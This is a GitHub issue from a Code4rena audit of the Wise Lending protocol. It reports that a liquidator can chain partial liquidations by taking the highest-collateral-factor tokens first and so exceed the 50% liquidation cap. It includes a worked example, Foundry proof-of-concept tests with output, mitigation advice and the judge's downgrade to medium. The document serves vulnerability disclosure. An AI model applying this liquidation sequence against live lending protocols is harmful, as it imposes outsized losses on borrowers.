Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Liquidating chaining can be achieved by liquidating token collateral with the highest collateralFactor #202

Open
c4-bot-6 opened this issue Mar 11, 2024 · 8 comments
Labels
2 (Med Risk) Assets not at direct risk, but function/availability of the protocol could be impacted or leak value bug Something isn't working downgraded by judge Judge downgraded the risk level of this issue high quality report This report is of especially high quality M-09 primary issue Highest quality submission among a set of duplicates satisfactory satisfies C4 submission criteria; eligible for awards selected for report This submission will be included/highlighted in the audit report

Comments

@c4-bot-6
Copy link
Contributor

Lines of code

https://github.com/code-423n4/2024-02-wise-lending/blob/main/contracts/WiseLending.sol#L1250

Vulnerability details

Impact

The liquidation mechanism is intended as follows:

  • If a user has more borrowed value than weighted collateral, but it does not surpass the 89% of the unweighted collateral, he can be liquidated up to 50% of his borrowed shares.
  • When the borrowed amount surpass the 89% of the unweighted collateral, then it is considered bad debt and the position can be fully liquidated

This feature is programmed here

However, since the liquidator can select which collateral he will receive, he can intentionally liquidate the highest collateralFactor tokens in order to make the overall position's collateralFactor to go down and being able to keep liquidating the other tokens. Since the intended maximum amount to liquidate when the position has no bad debt is 50%, if a user can intentionally create a sequence of liquidation that leads to a greater percentage it can be considered a high impact vulnerability.

Written proof of concept

Imagine the following situation:

The protocol supports these 4 tokens, A, B, C and D with these collateralFactors

Token Collateral factor
A 0.85
B 0.65
C 0.50
D 0.70

The initial prices for these tokens are as follows:

Token Price (in ETH)
A 1
B 0.2
C 0.5
D 1

Alice deposits these 3 amounts of token A, B and C as collateral

Token Value Amount Unweighted value Weighted value
A 1 10 10 8.5
B 0.2 50 10 6.5
C 0.5 20 10 5
Total values 30 20

Alice can borrow up to 20 * 0.95 = 19 worth of ETH, for the sake of simplicity, since token D is valued 1 ETH, she can borrow up to 19 of token D. However, she decides to borrow 18.9 to have a tiny healthy zone.
Unfortunately for Alice, the price of token C drops to 0.25. And the situation continues as follows:

Token Value Amount Unweighted value Weighted value
A 1 10 10 8.5
B 0.2 50 10 6.5
C 0.25 20 5 2.5
Total values 25 17.5

In this stage, Alice can be liquidated up to 50% because her borrowed amount (18.9 ETH) is greater than her weighted value (17.5 ETH). Just 50% is liquidable because the 89% of her weighted value is greater than her borrowed amount.
Let's now demonstrate that if the liquidator receives the token with the highest collateralFactor, the position will still be liquidable and he can chain this function call in order to liquidate a huge amount of collateral.

  1. The liquidator decides to repay 9.09 shares of token D. He intentionally selects this amount because when added to the fee (10%), the total amount will be 10 worth of ETH. Hence, liquidating this amount, the user is liquidating the whole token A collateral from Alice with the highest collateralFactor.

The new borrowed value from Alice would be 18.9 - 9.09 = 9.81

Token Value Amount Unweighted value Weighted value
A 1 0 0 0
B 0.2 50 10 6.5
C 0.25 20 5 2.5
Total values 15 9

We can clearly see that the borrowed value is still greater than Alice's weighted value. Hence, she can be liquidated again!
See Coded Proof of Concept to see the full chain liquidation

  1. The scenario completely changes if the liquidator would be forced to liquidate the collateral with the lowest collateralFactor:

The liquidator is forced to receive token C (lowest collateralFactor). He decides to repay 4.54 worth of token D that when added with the fee (10%) will be 5. The whole value of collateral token C.

Token Value Amount Unweighted value Weighted value
A 1 10 10 8.5
B 0.2 50 10 6.5
C 0.25 0 0 0
Total values 20 15

The new borrowed value would be 18.9 - 4.54 = 14.36

This new borrowed value is smaller than the weighted value. Thus, Alice is no longer liquidable and her position is healthy.

See Coded Proof of Concept.

Coded Proof of Concept

For the sake of testing, I adjusted the collateral factors manually when deploying the protocol locally:

        createPoolArray[0] = PoolManager.CreatePool(
            {	
				// Token A
                allowBorrow: true,
                poolToken: address(MOCK_ERC20_1),
                poolMulFactor: 17500000000000000,
                poolCollFactor: 0.85 ether,
                maxDepositAmount: 10000000000000 ether
            }
        );

        createPoolArray[1] = PoolManager.CreatePool(
            {
				// Token B
                allowBorrow: true,
                poolToken: address(MOCK_ERC20_2),
                poolMulFactor: 25000000000000000,
                poolCollFactor: 0.65 ether,
                maxDepositAmount: 10000000000000 ether
            }
        );

        createPoolArray[2] = PoolManager.CreatePool(
            {
				// Token C
                allowBorrow: true,
                poolToken: address(MOCK_ERC20_3),
                poolMulFactor: 15000000000000000,
                poolCollFactor: 0.5 ether,
                maxDepositAmount: 10000000000000 ether
            }
        );

        createPoolArray[3] = PoolManager.CreatePool(
            {
				// Token D
                allowBorrow: true,
                poolToken: address(MOCK_WETH),
                poolMulFactor: 17500000000000000,
                poolCollFactor: 0.7 ether,
                maxDepositAmount: 10000000000000 ether
            }
        );

And also created a function inside the MockChainlink to set the prices of the tokens:

	function setNewPrice(uint256 newPrice) public {
        ethValuePerToken = newPrice;
    }

With all that said, let's see the PoC for the 2 previously explained situations:

  1. Alice can be liquidated multiple times
    function testChainLiquidation() public {
        address token1 = 0xfDf134B61F8139B8ea447eD49e7e6adf62fd4B49;
        address token2 = 0xEa3aF45ae5a2bAc059Cd026f23E47bdD753E664a;
        address token3 = 0x15BB461b3a994218fD0D6329E129846F366FFeB3;
        address token4 = 0x6B9d657Df9Eab179c44Ff9120566A2d423d01Ea9;

        testDeployLocal();
        skip(1000);

        // Add some tokens4 to have enough liquidity
        address thirdParty = makeAddr("thirdParty");
        deal(address(token4), thirdParty, 1_000_000 ether);
        vm.startPrank(thirdParty);
        IERC20(token4).approve(address(LENDING_INSTANCE), 1_000_000 ether);
        LENDING_INSTANCE.depositExactAmountMint(token4, 1_000_000 ether);
        vm.stopPrank();

        // Initially the price for tokens are:
        // 1 Token1 = 1 ETH
        MOCK_CHAINLINK_1.setNewPrice(1 ether);
        // 1 Token2 = 0.2 ETH
        MOCK_CHAINLINK_2.setNewPrice(0.2 ether);
        // 1 Token3 = 0.5 ETH
        MOCK_CHAINLINK_3.setNewPrice(0.5 ether);
        // 1 Token4 = 1 ETH
        MOCK_CHAINLINK_4.setNewPrice(1 ether);

        // Bob is liquidating Alice
        address alice = makeAddr("alice");
        address bob = makeAddr("bob");
        deal(token1, alice, 10 ether);
        deal(token2, alice, 50 ether);
        deal(token3, alice, 20 * 10**6);
        deal(token4, bob, 200 ether);

        vm.startPrank(alice);
        IERC20(token1).approve(address(LENDING_INSTANCE), 10 ether);
        LENDING_INSTANCE.depositExactAmountMint(token1, 10 ether);
        IERC20(token2).approve(address(LENDING_INSTANCE), 50 ether);
        LENDING_INSTANCE.depositExactAmount(6, token2, 50 ether);
        IERC20(token3).approve(address(LENDING_INSTANCE), 20 * 10**6);
        LENDING_INSTANCE.depositExactAmount(6, token3, 20 * 10**6);
        LENDING_INSTANCE.borrowExactAmount(6, token4, 18.9 ether);
        uint256 initialBorrowShares = LENDING_INSTANCE.getPositionBorrowShares(6, token4);
        vm.stopPrank();

        // Time passes and value of token3 drops significantly
        // 1 Token3 = 0.25 ETH
        MOCK_CHAINLINK_3.setNewPrice(0.25 ether);

        vm.startPrank(bob);
        IERC20(token4).approve(address(LENDING_INSTANCE), 200 ether);
        LENDING_INSTANCE.depositExactAmountMint(token4, 10 ether);
        LENDING_INSTANCE.liquidatePartiallyFromTokens(6, 7, token4, token1, 9.090909090909 ether);
        LENDING_INSTANCE.liquidatePartiallyFromTokens(6, 7, token4, token2, 2.7 ether);
        LENDING_INSTANCE.liquidatePartiallyFromTokens(6, 7, token4, token2, 3.5 ether);
        vm.stopPrank();

        uint256 finalBorrowShares = LENDING_INSTANCE.getPositionBorrowShares(6, token4);

        uint256 percentageLiquidated = 100 - (finalBorrowShares * 100 / initialBorrowShares);
        console.log("Percentage liquidated", percentageLiquidated);
    }

Result:

[PASS] testChainLiquidation() (gas: 44546965)
Logs:
  Percentage liquidated 81

Test result: ok. 1 passed; 0 failed; 0 skipped; finished in 38.40ms

Ran 1 test suite in 38.40ms: 1 tests passed, 0 failed, 0 skipped (1 total tests)

With 3 liquidation calls, the liquidator could repay 81% of Alice's position when in fact, the maximum percentage that the protocol allows when there is no bas debt is 50%.

  1. Alice can only be liquidated once with the asset with lowest collateralFactor and then her position becomes healthy
    function testLiquidationsConstrainted() public {
        address token1 = 0xfDf134B61F8139B8ea447eD49e7e6adf62fd4B49;
        address token2 = 0xEa3aF45ae5a2bAc059Cd026f23E47bdD753E664a;
        address token3 = 0x15BB461b3a994218fD0D6329E129846F366FFeB3;
        address token4 = 0x6B9d657Df9Eab179c44Ff9120566A2d423d01Ea9;

        uint256 aliceNftPosition = 6;
        uint256 bobNftPosition = 7;

        testDeployLocal();
        skip(1000);

        // Add some tokens4 to have enough liquidity
        address thirdParty = makeAddr("thirdParty");
        deal(address(token4), thirdParty, 1_000_000 ether);
        vm.startPrank(thirdParty);
        IERC20(token4).approve(address(LENDING_INSTANCE), 1_000_000 ether);
        LENDING_INSTANCE.depositExactAmountMint(token4, 1_000_000 ether);
        vm.stopPrank();

        // Initially the price for tokens are:
        // 1 Token1 = 1 ETH
        MOCK_CHAINLINK_1.setNewPrice(1 ether);
        // 1 Token2 = 0.2 ETH
        MOCK_CHAINLINK_2.setNewPrice(0.2 ether);
        // 1 Token3 = 0.5 ETH
        MOCK_CHAINLINK_3.setNewPrice(0.5 ether);
        // 1 Token4 = 1 ETH
        MOCK_CHAINLINK_4.setNewPrice(1 ether);

        // Bob is liquidating Alice
        address alice = makeAddr("alice");
        address bob = makeAddr("bob");
        deal(token1, alice, 10 ether);
        deal(token2, alice, 50 ether);
        deal(token3, alice, 20 * 10**6);
        deal(token4, bob, 200 ether);

        vm.startPrank(alice);
        IERC20(token1).approve(address(LENDING_INSTANCE), 10 ether);
        LENDING_INSTANCE.depositExactAmountMint(token1, 10 ether);
        IERC20(token2).approve(address(LENDING_INSTANCE), 50 ether);
        LENDING_INSTANCE.depositExactAmount(aliceNftPosition, token2, 50 ether);
        IERC20(token3).approve(address(LENDING_INSTANCE), 20 * 10**6);
        LENDING_INSTANCE.depositExactAmount(aliceNftPosition, token3, 20 * 10**6);
        LENDING_INSTANCE.borrowExactAmount(aliceNftPosition, token4, 18.9 ether);
        uint256 initialBorrowShares = LENDING_INSTANCE.getPositionBorrowShares(aliceNftPosition, token4);
        vm.stopPrank();

        // Time passes and value of token3 drops significantly
        // 1 Token3 = 0.25 ETH
        MOCK_CHAINLINK_3.setNewPrice(0.25 ether);

        vm.startPrank(bob);
        IERC20(token4).approve(address(LENDING_INSTANCE), 200 ether);
        LENDING_INSTANCE.depositExactAmountMint(token4, 10 ether);
        LENDING_INSTANCE.liquidatePartiallyFromTokens(aliceNftPosition, bobNftPosition, token4, token3, 4.54 ether);

        // Having liquidated the token with less LVT, the position is no longer liquidable
        // Try to liquidate with the minimum amount of shares (1)
        vm.expectRevert();
        LENDING_INSTANCE.liquidatePartiallyFromTokens(aliceNftPosition, bobNftPosition, token4, token3, 1);
        vm.stopPrank();

        uint256 finalBorrowShares = LENDING_INSTANCE.getPositionBorrowShares(aliceNftPosition, token4);

        uint256 percentageLiquidated = 100 - (finalBorrowShares * 100 / initialBorrowShares);
        console.log("Percentage liquidated", percentageLiquidated);
    }

Result:

[PASS] testLiquidationsConstrainted() (gas: 44044788)
Logs:
  Percentage liquidated 25

Test result: ok. 1 passed; 0 failed; 0 skipped; finished in 40.81ms

Ran 1 test suite in 40.81ms: 1 tests passed, 0 failed, 0 skipped (1 total tests)

With just a single liquidation call, the liquidator could only repay 25% of Alice's position and at that point, her position becomes healthy and she is no longer liquidable.

Tools Used

Manual review

Recommended Mitigation Steps

This issue can be easily solved by forcing all liquidations to be done with the lowest collateralFactor tokens first. As shown in the written and coded PoC, if the user would have been forced to receive the collateral token with the lowest collateralFactor, the health of the position would go to non-liquidable and the liquidator would not be able to continue liquidating the position.

Also, a really good safety check would be to ensure that after the liquidation is executed, the health of the position must be good in order to prevent this chain liquidation.

Assessed type

Error

@c4-bot-6 c4-bot-6 added 3 (High Risk) Assets can be stolen/lost/compromised directly bug Something isn't working labels Mar 11, 2024
c4-bot-6 added a commit that referenced this issue Mar 11, 2024
@c4-pre-sort c4-pre-sort added the high quality report This report is of especially high quality label Mar 17, 2024
@c4-pre-sort
Copy link

GalloDaSballo marked the issue as high quality report

@c4-pre-sort c4-pre-sort added the primary issue Highest quality submission among a set of duplicates label Mar 17, 2024
@c4-pre-sort
Copy link

GalloDaSballo marked the issue as primary issue

@vonMangoldt
Copy link

This is not an issue since the liquidation incentive usually is lower than the difference in percentage between 100 and collateral factor. So paying back in my described scenario always makes the position more healthy. So high as a description is overblown! Also such a force could lead liquidators to be forced to loose money on a specific scenario before being able to access a profitable liquidation endangering the protocol

@trust1995
Copy link

trust1995 commented Mar 26, 2024

Cascading liquidations are a dangerous situation and I agree with the warden there are no built-in safety mechanisms around it in the liquidation routines (health is monotonically increasing or it is now healthy).
However the warden had to modify the collat factors to demonstrate the issue in a PoC.
It seems hard to determine whether by natural course of action, such a scenario would occur.
According to the sponsor's remarks, the liquidation incentive _usually_ is lower than the difference in percentage between 100 and collateral factor.
This has not convinced me it could not occur by chance at some point. In case it does, it leads to higher than expected liquidation penalties.
Weighing all the circumstances, I believe Med to be appropriate.

@c4-judge
Copy link
Contributor

trust1995 marked the issue as satisfactory

@c4-judge c4-judge added satisfactory satisfies C4 submission criteria; eligible for awards 2 (Med Risk) Assets not at direct risk, but function/availability of the protocol could be impacted or leak value and removed 3 (High Risk) Assets can be stolen/lost/compromised directly labels Mar 26, 2024
@c4-judge
Copy link
Contributor

trust1995 changed the severity to 2 (Med Risk)

@c4-judge c4-judge added downgraded by judge Judge downgraded the risk level of this issue selected for report This submission will be included/highlighted in the audit report labels Mar 26, 2024
@c4-judge
Copy link
Contributor

trust1995 marked the issue as selected for report

@C4-Staff C4-Staff added the M-09 label Apr 1, 2024
@thebrittfactor
Copy link

For transparency and per conversation with the sponsors, see here for the Wise Lending team's mitigation.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
2 (Med Risk) Assets not at direct risk, but function/availability of the protocol could be impacted or leak value bug Something isn't working downgraded by judge Judge downgraded the risk level of this issue high quality report This report is of especially high quality M-09 primary issue Highest quality submission among a set of duplicates satisfactory satisfies C4 submission criteria; eligible for awards selected for report This submission will be included/highlighted in the audit report
Projects
None yet
Development

No branches or pull requests

7 participants